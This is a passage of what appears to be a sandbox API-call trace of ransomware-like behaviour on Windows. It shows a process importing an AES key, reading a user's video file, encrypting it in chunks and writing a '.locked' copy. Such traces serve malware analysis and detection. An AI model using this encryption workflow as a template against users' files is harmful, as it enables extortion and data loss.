(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0138.265] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0138.265] SystemFunction041 (in: Memory=0x8ec01dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec01dc) returned 0x0 [0138.265] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0138.265] SystemFunction040 (in: Memory=0x8ec01dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec01dc) returned 0x0 [0138.265] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0138.265] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0138.265] SystemFunction041 (in: Memory=0x8ec01dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec01dc) returned 0x0 [0138.266] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0138.266] SystemFunction040 (in: Memory=0x8ec01dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec01dc) returned 0x0 [0138.266] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0138.266] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0138.266] SystemFunction041 (in: Memory=0x8ec01dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec01dc) returned 0x0 [0138.266] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0138.266] SystemFunction040 (in: Memory=0x8ec01dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec01dc) returned 0x0 [0138.266] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0138.266] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0138.266] SystemFunction041 (in: Memory=0x8ec01dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec01dc) returned 0x0 [0138.266] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0138.266] SystemFunction040 (in: Memory=0x8ec01dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec01dc) returned 0x0 [0138.266] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0138.266] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0138.266] SystemFunction041 (in: Memory=0x8ec01dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec01dc) returned 0x0 [0138.266] SystemFunction040 (in: Memory=0x8ec01dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec01dc) returned 0x0 [0138.267] SystemFunction041 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0138.267] SystemFunction040 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0138.267] SystemFunction041 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0138.267] SystemFunction040 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0138.267] SystemFunction041 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0138.267] SystemFunction040 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0138.267] SystemFunction041 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0138.268] SystemFunction040 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0138.268] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x49, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.268] SystemFunction041 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0138.268] SystemFunction040 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0138.269] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x4396a38) returned 1 [0138.269] CryptImportKey (in: hProv=0x4396a38, pbData=0x6a2b390, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e84bb8) returned 1 [0138.270] CryptContextAddRef (hProv=0x4396a38, pdwReserved=0x0, dwFlags=0x0) returned 1 [0138.270] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.270] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4a, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.270] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x49, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.270] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4a, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4a, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.270] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\2QQ3yhqnFri.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\2qq3yhqnfri.mp4")) returned 0x20 [0138.270] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\2QQ3yhqnFri.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\2qq3yhqnfri.mp4")) returned 0x20 [0138.271] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\2QQ3yhqnFri.mp4", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\2QQ3yhqnFri.mp4", lpFilePart=0x0) returned 0x5c [0138.271] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\2QQ3yhqnFri.mp4", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\2QQ3yhqnFri.mp4", lpFilePart=0x0) returned 0x5c [0138.271] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4a, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.271] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\2QQ3yhqnFri.mp4", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\2QQ3yhqnFri.mp4", lpFilePart=0x0) returned 0x5c [0138.271] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\2QQ3yhqnFri.mp4", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\2QQ3yhqnFri.mp4", lpFilePart=0x0) returned 0x5c [0138.271] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.271] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4b, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.271] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4a, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.271] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4b, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4b, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.272] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\2QQ3yhqnFri.mp4", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\2QQ3yhqnFri.mp4", lpFilePart=0x0) returned 0x5c [0138.272] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0138.272] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\2QQ3yhqnFri.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\2qq3yhqnfri.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0138.272] GetFileType (hFile=0x764) returned 0x1 [0138.272] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0138.272] GetFileType (hFile=0x764) returned 0x1 [0138.272] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4b, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.273] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0138.273] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4c, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.273] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4b, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.273] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4c, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4c, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.273] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\2QQ3yhqnFri.mp4.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\2QQ3yhqnFri.mp4.locked", lpFilePart=0x0) returned 0x63 [0138.273] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0138.273] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\2QQ3yhqnFri.mp4.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\2qq3yhqnfri.mp4.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0138.274] GetFileType (hFile=0x778) returned 0x1 [0138.274] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0138.274] GetFileType (hFile=0x778) returned 0x1 [0138.274] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4c, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.274] CryptGenRandom (in: hProv=0x4396a38, dwLen=0x10, pbBuffer=0x6a47c98 | out: pbBuffer=0x6a47c98) returned 1 [0138.274] CryptContextAddRef (hProv=0x4396a38, pdwReserved=0x0, dwFlags=0x0) returned 1 [0138.274] CryptDuplicateKey (in: hKey=0x8e84bb8, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e84a78) returned 1 [0138.274] CryptContextAddRef (hProv=0x4396a38, pdwReserved=0x0, dwFlags=0x0) returned 1 [0138.274] CryptSetKeyParam (hKey=0x8e84a78, dwParam=0x4, pbData=0x6a48f54*=0x1, dwFlags=0x0) returned 1 [0138.274] CryptSetKeyParam (hKey=0x8e84a78, dwParam=0x1, pbData=0x6a48f20, dwFlags=0x0) returned 1 [0138.274] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\xef70\x437\x242") returned 0x0 [0138.275] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4d, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.275] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4c, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.275] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4d, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4d, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.275] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4d, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.275] ReadFile (in: hFile=0x764, lpBuffer=0x6a4c4b0, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6a4c4b0*, lpNumberOfBytesRead=0x99ae7a8*=0x11576, lpOverlapped=0x0) returned 1 [0138.276] CryptEncrypt (in: hKey=0x8e84a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a604bc*, pdwDataLen=0x99ae79c*=0x11570, dwBufLen=0x11570 | out: pbData=0x6a604bc*, pdwDataLen=0x99ae79c*=0x11570) returned 1 [0138.276] WriteFile (in: hFile=0x778, lpBuffer=0x6a47d58*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6a47d58*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0138.277] WriteFile (in: hFile=0x778, lpBuffer=0x6a614a8*, nNumberOfBytesToWrite=0x10584, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6a614a8*, lpNumberOfBytesWritten=0x99ae780*=0x10584, lpOverlapped=0x0) returned 1 [0138.278] ReadFile (in: hFile=0x764, lpBuffer=0x6a4c4b0, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6a4c4b0*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0138.278] CryptEncrypt (in: hKey=0x8e84a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a71a50*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x6a71a50*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0138.278] CryptEncrypt (in: hKey=0x8e84a78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6a71a84*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x6a71a84*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0138.278] WriteFile (in: hFile=0x778, lpBuffer=0x6a47d58*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x6a47d58*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0138.278] CloseHandle (hObject=0x778) returned 1 [0138.281] CloseHandle (hObject=0x764) returned 1 [0138.281] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\2QQ3yhqnFri.mp4", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\2QQ3yhqnFri.mp4", lpFilePart=0x0) returned 0x5c [0138.281] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.281] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4e, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.281] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4d, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.281] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4e, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4e, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.283] GetFileAttributesW 